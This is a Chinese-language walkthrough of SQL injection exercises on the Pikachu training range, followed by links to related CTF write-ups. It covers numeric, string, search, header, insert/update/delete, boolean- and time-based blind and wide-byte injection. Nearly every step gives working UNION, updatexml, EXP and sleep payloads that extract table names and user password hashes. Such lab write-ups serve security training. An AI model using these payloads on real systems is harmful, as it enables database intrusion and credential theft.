数字型注入

0x01

burp抓包,发送至repeater

后面加and 1=1,and 1=2 可判断存在注入

0x02

通过order by判断字段数,order by 2 和order by 3 返回结果不同,可得字段数为2

0x03

查看表名:

union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

0x04

查询users表中的数据:

union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'

0x05

查询数据:

union select 1,username from users

union select 1,password from users



字符型注入

0x01

加单引号报错,'--+ 返回正常,可判断存在字符型注入

0x02

通过上题可知有两个字段

查询表名:

' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

0x03

查询users表中的数据:

' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

0x04

查询数据:

' union select 1,username from users--+

' union select 1,password from users--+



搜索型注入

0x01

单引号报错,判断字段

' order by 3#时正常,' order by 4#时不正常

0x02

已经知道含有users表,直接查列名

' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#



0x03

查password数据

' union select 1,2,password from users#

XX型注入

0x01

输入单引号,得到报错信息

可以看到有个)符号,那么sql语句中前面一定有个(符号,所以要将前面闭合,后面注释掉

0x02

输入')#,抓包repeater放包

0x03

判断字段

%27)+order+by+2%23,回显正常

%27)+order+by+3%23,回显不正常,字段数为2

0x04

已知users表,查列名

%27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'%23

0x05

查密码

%27)+union+select+1,password+from+users%23

insert/update注入

0x01

点击注册,用户名密码输入如下

提交返回

根据报错可推断前面sql语句大概是这样value('xxx',1,2,3,4,5)

0x02

使用updatexml()进行报错注入

' or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or '

Updatexml只能注出32位字符,缺少一位字符,所以改用其他函数

经测试extractvalue()函数也是一样,再换其他函数

0x03

使用EXP函数时成功注出md5

' or EXP(~(SELECT * from(select @@version)a)) or '

' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

Delete注入

0x01

单引号报错

0x02

这种id的值一般都是数字型注入

+or+EXP(~(SELECT+*+from(select+@@version)a))

最终payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))

HTTP Header注入

0x01

提示给了账号密码

登录进去

0x02

刷新,抓包

可以看到Cookie中含有ant[uname]=admin,怀疑此处可能存在与数据库交互,因此加单引号进行验证

发现报错,因此,使用报错注入语句

0x03

'+or+EXP(~(SELECT+*+from(select+@@version)a))+or+'

' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

盲注(boolian)

0x01

首先要知道一个用户名(真实环境可自己注册一个)

lili' and 1=1#

lili' and 1=2#

可判断存在注入

0x02

paylaod:lili' and substr(database(),1,1)='字母'#

对数字进行爆破

第一个字母为p

再对第二位进行爆破

lili' and substr(database(),2,1)='字母'#

第二个字母为i

按此方式一位一位进行爆破,可得数据库名为pikachu

盲注(time)

0x01

首先要知道一个用户名(真实环境可自己注册一个)

lili' and sleep(10)#

10s左右才响应,可判断存在时间盲注(或者F12看响应时间)

0x02

爆破数据库名

lili' and if(substr(database(),1,1)='字母',sleep(5),1)#

对字母进行爆破,爆破第一个字母

爆破后将Columns--Response received选中,可看到响应时间



第一个字母为p

爆破第二个字母

lili' and if(substr(database(),2,1)='字母',sleep(5),1)#

得到第二个为i

以此类推,得出数据库名为pikachu

宽字节注入

0x01

抓包在burp中操作

1%df%27+or+1=1#

0x02

判断字段数

1%df%27+union+select+1,2#

1%df%27+union+select+1,2,3#

字段数为2

0x03

查表名

1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#

0x04

查列名

1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#

(0x7573657273为users的16进制编码)

0x05

查数据

1%df%27+union+select+1,password+from+users#

更多技术文章请关注Timeline Sec公众号

Pikachu靶场SQL注入刷题记录的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  2. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  3. 刷题记录:[De1ctf] shell shell shell

    目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...

  4. 刷题记录:[FBCTF2019]Products Manager

    目录 刷题记录:[FBCTF2019]Products Manager 一.知识点 1.基于约束的SQL注入攻击 刷题记录:[FBCTF2019]Products Manager 题目复现链接:htt ...

  5. 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb

    目录 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb 一.涉及知识点 1.敏感文件泄露 2.绕过及sql注入 3.文件上传:短标签绕过php过滤 刷题记录:[CISCN20 ...

  6. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

  7. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  8. 刷题记录:[LCTF]bestphp's revenge

    目录 刷题记录:[LCTF]bestphp's revenge 一.知识点 1.SoapClient触发反序列化导致ssrf 2.serialize_hander处理session方式不同导致sess ...

  9. 刷题记录:Shrine

    目录 刷题记录:Shrine 刷题记录:Shrine 题目复现链接:https://buuoj.cn/challenges 参考链接:Shrine 解此题总结一下flask的SSTI:CTF SSTI ...

随机推荐

  1. TCP / IP 精彩回顾-必看

    TCP/IP 协议出现的原因是互联网世界各个主机作为一个个独立的个体,如何制定统一的规则让他们互相通信是达成万物互联的纽带.基于此,设定了 TCP/IP 协议来规范网络访问行为.TCP/IP 并不是一 ...

  2. Java实现 蓝桥杯VIP 算法训练 JAM计数法

    题目描述 Jam是个喜欢标新立异的科学怪人.他不使用阿拉伯数字计数,而是使用小 写英文字母计数,他觉得这样做,会使世界更加丰富多彩.在他的计数法中,每个数字的位数都是相同的(使用相同个数的字母),英文 ...

  3. Java实现 LeetCode 475 供暖器

    475. 供暖器 冬季已经来临. 你的任务是设计一个有固定加热半径的供暖器向所有房屋供暖. 现在,给出位于一条水平线上的房屋和供暖器的位置,找到可以覆盖所有房屋的最小加热半径. 所以,你的输入将会是房 ...

  4. Java实现 洛谷 P1010 幂次方

    输入输出样例 输入 #1 1315 输出 #1 2(2(2+2(0))+2)+2(2(2+2(0)))+2(2(2)+2(0))+2+2(0) import java.util.Scanner; pu ...

  5. k8s学习-Service

    4.4.Service 可能会用到ipvs,先安装: yum install -y openssl openssl-devel popt popt-devel libnl-devel kenel-de ...

  6. Oracle数据迁移后由列的直方图统计信息引起的执行计划异常

    (一)问题背景 在使用impdp进行数据导入的时候,往往在导入表和索引的统计信息的时候,速度非常慢,因此我在使用impdp进行导入时,会使用exclude=table_statistics排除表的统计 ...

  7. 我去,你竟然还不会用 Java final 关键字

    写一篇文章容易吗?太不容易了,首先,需要一个安静的环境,这一点就非常不容易.很多小伙伴的办公室都是开放式的,非常吵,况且上班时间写的话,领导就不高兴了:只能抽时间写.其次,环境有了,还要有一颗安静的心 ...

  8. Redis PHP扩展安装步骤

    ### 下载最新的扩展文件,解压并进入文件夹 wget https://codeload.github.com/phpredis/phpredis/tar.gz/2.2.7 tar -zxvf 2.2 ...

  9. [NOI Online #3]魔法值

    题目   点这里看题目. 分析   我们不难想到,对于系数进行一下的拆分: \[\begin{aligned} f(u,j)&=\bigoplus_{(u,v)\in E} f(v,j-1)\ ...

  10. @codeforces - 685C@ Optimal Point

    目录 @description@ @solution@ @accepted code@ @details@ @description@ 给定若干个三维空间的点 (xi, yi, zi),求一个坐标都为 ...